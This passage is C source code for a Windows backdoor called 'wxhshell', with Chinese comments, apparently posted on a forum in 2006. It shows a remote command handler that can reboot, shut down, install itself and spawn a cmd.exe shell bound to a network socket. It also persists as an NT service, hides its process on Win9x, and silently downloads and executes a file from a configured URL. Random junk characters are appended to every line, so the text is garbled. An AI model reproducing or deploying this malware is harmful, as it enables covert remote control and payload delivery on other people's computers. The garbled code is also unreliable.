  else .Yamc#A-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yJ[0WY8<kC  
  } s$zLiQF;  
  else { uP`Z12&  
]{;gw<T  
    switch(cmd[0]) { po c`q5i+  
  HDz5&7* .  
  // 帮助 AmUr.ofu  
  case '?': { {UX!go^J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lB8-Z ow  
    break; bt@< ut\  
  } pE3?"YO  
  // 安装 y B81f  
  case 'i': { 0.Q Ujw  
    if(Install()) U"~>jZKk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vRYQ{:  
    else `_6C {<O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =bAx,,D#  
    break; (=FRmdeYl1  
    } N_LM/of|D  
  // 卸载 DcS+_>a\{l  
  case 'r': { j}#w )M  
    if(Uninstall()) 5p,RI&nlN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =?5]()'*n  
    else nd`1m[7MNu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L@rcK!s,lD  
    break;  }t!Gey  
    } e_^26^{q  
  // 显示 wxhshell 所在路径 Q*GN`07@?d  
  case 'p': { pj8=wch  
    char svExeFile[MAX_PATH]; 1wii8B6  
    strcpy(svExeFile,"\n\r"); ~kV/!=  
      strcat(svExeFile,ExeFile); b8H{8{wi|  
        send(wsh,svExeFile,strlen(svExeFile),0); `T1  
    break; M+oHtX$  
    } ),_@WW;k  
  // 重启 {% 6}'  
  case 'b': { a1+oj7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #j;^\rSv-  
    if(Boot(REBOOT)) EX*HiZU>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (xycJ`N  
    else { I2XU(pYU  
    closesocket(wsh); g%o(+d  
    ExitThread(0); 7o\@>rNWP  
    } 3s*mbk[J  
    break; L]7=?vN=8  
    } Od,=mO*.Q  
  // 关机 pR<`H'  
  case 'd': { JhYe6y[q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @b\$yB@z  
    if(Boot(SHUTDOWN)) O}gV`q;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xl{=Y< ;  
    else { KV91)U  
    closesocket(wsh); ]U?^hZ_  
    ExitThread(0); " > ypIR<  
    } '(6z. toQ  
    break; P-[-pi@  
    } _=r6=.  
  // 获取shell ; T\%|O=Ke  
  case 's': { t}a: p6D]  
    CmdShell(wsh); ?9vuuIE  
    closesocket(wsh); a9e>iU  
    ExitThread(0);  l03B=$  
    break; W<{h,j8  
  } e}voV0y\v:  
  // 退出 E#34Wh2z  
  case 'x': { Xxj- 6i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,O5NLg-  
    CloseIt(wsh); ]2A^1Del  
    break; d2FswF$C  
    } AD> e?u  
  // 离开 4(n-_BS  
  case 'q': { E, Z$pKL?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b1q"!+8y  
    closesocket(wsh); ux-/>enc  
    WSACleanup(); AF{\6<m  
    exit(1); 1dY}\Sp  
    break; b)#hSjWO#  
        } ho{*Cjv  
  } ZmqKQO  
  } D>r&}6<  
Jumgb  
  // 提示信息 ,]C;sN%~}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FgnTGY}  
} T  wB}l  
  } OF>mF~  
9)yJ: N#F  
  return; ZgJQ?S$D  
}  'c&Ed  
lgAoJ[  
// shell模块句柄 "9uKtQS0o  
int CmdShell(SOCKET sock) 3Aip}<1  
{ yu {d! {6  
STARTUPINFO si; P{`C^W$J^  
ZeroMemory(&si,sizeof(si)); G5_=H,Vmd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A|[?#S((]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; # +>oZWVc  
PROCESS_INFORMATION ProcessInfo; iXkF1r]i  
char cmdline[]="cmd"; iU918!!N   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hvauyx5T  
  return 0; f5"k55}  
} f)rq%N &  
b6M[q_   
// 自身启动模式 5ta `%R_  
int StartFromService(void) &E F!OBR  
{ ja'T+!k  
typedef struct 7"D", 1h  
{ 2W(s(-hD  
  DWORD ExitStatus; SR hiQ  
  DWORD PebBaseAddress; P5V}#;v  
  DWORD AffinityMask; "{+QW  
  DWORD BasePriority; UgRiIQMq.  
  ULONG UniqueProcessId; wu6;.xTLl  
  ULONG InheritedFromUniqueProcessId; &B;~  
}   PROCESS_BASIC_INFORMATION; qq`4<0I>  
rKc9b<Ir  
PROCNTQSIP NtQueryInformationProcess; h4}84}5d  
=s{>Fsm1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qZh/IW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~/U 1xk%  
aKDKmHd  
  HANDLE             hProcess; 1~FOgk1;  
  PROCESS_BASIC_INFORMATION pbi; gg/-k;@ Rf  
klYX7?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :4w ?#  
  if(NULL == hInst ) return 0; CxmKz78  
7z,C}-q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); { uFO/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =%O6:YM   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w.o@7|B1N  
Lb-OsKU  
  if (!NtQueryInformationProcess) return 0; e>OoyDZ@R  
6_;icpN]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7EEl +;wK  
  if(!hProcess) return 0; `(;m?<%  
6|=f$a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %2{ye  
2tO,dx  
  CloseHandle(hProcess); ?j.,Nw4FC  
9=tIz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ix}sK"}[n  
if(hProcess==NULL) return 0; {Xy5pfW Q  
^7*11%Q  
HMODULE hMod; HJH{nz'Lw  
char procName[255]; |e&\<LwsP  
unsigned long cbNeeded; _f,C[C[e&  
BlO<PMmhT&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^76]0`gS  
\@zHON(  
  CloseHandle(hProcess); |Ez>J+uye(  
H?Wya.7  
if(strstr(procName,"services")) return 1; // 以服务启动 I{2hfKUe`  
}8z?t:|S  
  return 0; // 注册表启动 gD?l-RT>  
} q2j{tP#  
sP~<*U.7  
// 主模块  _[3D  
int StartWxhshell(LPSTR lpCmdLine) w9imKVry  
{ ^ @5QP$.  
  SOCKET wsl; C!!M%P  
BOOL val=TRUE; A)!*]o>U  
  int port=0; WH}y"W  
  struct sockaddr_in door; /SB;Von  
Y.UFbrv  
  if(wscfg.ws_autoins) Install(); m0SlOgRsk  
x9g#<2w8  
port=atoi(lpCmdLine); GxxW&y  
bE..P&"  
if(port<=0) port=wscfg.ws_port; ki!0^t:9  
[q -h|m  
  WSADATA data; n\53wh@+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7$=In K  
AkV#J, 3LC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Gef TdO.&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oc`H}Wvn  
  door.sin_family = AF_INET; Otuf] B^s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,"ZMRq  
  door.sin_port = htons(port); eauF ~md,  
tsjrRMR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /x$nje,.  
closesocket(wsl); D,feF9  
return 1; =,M5KDk`  
} fZF@k5*\  
:F?C)F  
  if(listen(wsl,2) == INVALID_SOCKET) { bAMdI 5Zk?  
closesocket(wsl); y)@wjH{6  
return 1; o+'6`g'8  
} l f, 5w  
  Wxhshell(wsl); k,*XG$2h  
  WSACleanup(); 4r}51 N\  
;=z:F<Y  
return 0; g 7H(PF?  
zDG b7S{  
} ]/v[8dS(l  
WyiQoN'q  
// 以NT服务方式启动 9.#<b |g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @yYkti;4-  
{ W=?<<dVYD  
DWORD   status = 0; gbA_DZ  
  DWORD   specificError = 0xfffffff; I?CZQ+}Hq  
 ob]w;"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'w aaw_>b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RA 6w}:sq7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jP.dDYc  
  serviceStatus.dwWin32ExitCode     = 0; wCBplaojJ  
  serviceStatus.dwServiceSpecificExitCode = 0; nw<uyaU-t  
  serviceStatus.dwCheckPoint       = 0; h?U O&(  
  serviceStatus.dwWaitHint       = 0; :3 mh@[V  
}GM'.yutX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8oGRLYU N  
  if (hServiceStatusHandle==0) return; -9?]IIVb  
n$R)>n Y  
status = GetLastError(); .%-8 t{dt  
  if (status!=NO_ERROR) y~V(aih}D  
{ 8Zdn,}Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UiNP3TJ'L  
    serviceStatus.dwCheckPoint       = 0; sLk-x\P]|  
    serviceStatus.dwWaitHint       = 0; #vlgwA  
    serviceStatus.dwWin32ExitCode     = status; L~3Pm%{@A  
    serviceStatus.dwServiceSpecificExitCode = specificError; $~)SCbL^5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7yQ4*UB  
    return; l]SX@zTb  
  } /-s6<e!  
K 8O|?x]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xIn:ZKJ'  
  serviceStatus.dwCheckPoint       = 0; *^`Vz?g<  
  serviceStatus.dwWaitHint       = 0; XWw804ir  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i XN1I  
} -?a 26o%e  
^.y\(=  
// 处理NT服务事件,比如:启动、停止 K sCyFp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O6Y0XL  
{ rC5O")I<  
switch(fdwControl) HaYo!.(Fv  
{ gqR(.Pu  
case SERVICE_CONTROL_STOP: ,r}6iFu  
  serviceStatus.dwWin32ExitCode = 0; \2z>?i)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qQa}wcU'9p  
  serviceStatus.dwCheckPoint   = 0; -\MG}5?!  
  serviceStatus.dwWaitHint     = 0; aq-~B~c`g  
  { "N#Y gSr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2 E= L8<  
  } +C)~bb*  
  return; Gw` L"  
case SERVICE_CONTROL_PAUSE: m {}Lm)M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EM_d8o)`B  
  break; Wn6Sn{8W{  
case SERVICE_CONTROL_CONTINUE: MK*r+xfSae  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W*G<X.Hf  
  break; e+|sSpA  
case SERVICE_CONTROL_INTERROGATE: \.S/|  
  break; JGZBL{8  
}; zm#  ?W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~6gPS 13  
} N>E_%]Ch  
>mkFV@`  
// 标准应用程序主函数 9M ]_nPY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FTldR;}(  
{ }B^tL$k  
CGFDqCNr-  
// 获取操作系统版本 $Kd>:f=A  
OsIsNt=GetOsVer(); 'fW-Y!k%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HKeK<V  
06jQE2z2R  
  // 从命令行安装 I 6O  
  if(strpbrk(lpCmdLine,"iI")) Install(); tBSW|0  
V~#tuv  
  // 下载执行文件 j1Ezf=N6`  
if(wscfg.ws_downexe) { 3XKf!P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a.Vuu)+Quw  
  WinExec(wscfg.ws_filenam,SW_HIDE); c",*h  
} [B3RfCV{  
(% 9$!v{3  
if(!OsIsNt) { |?9HU~B  
// 如果时win9x,隐藏进程并且设置为注册表启动 ('~LMu_  
HideProc(); 2zpr~cB=  
StartWxhshell(lpCmdLine); tp|d*7^i  
} <N @Gu!N8  
else P2Y^d#jO  
  if(StartFromService()) vSh`&w^*  
  // 以服务方式启动 >sbu<|]a 7  
  StartServiceCtrlDispatcher(DispatchTable); AwN!;t_0+N  
else V8(-  
  // 普通方式启动 =H~j,K  
  StartWxhshell(lpCmdLine); Ca\6vR  
V.Mry`9-  
return 0; K^[?O{x^B  
}
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只看该作者 1 发表于: 2006-10-10
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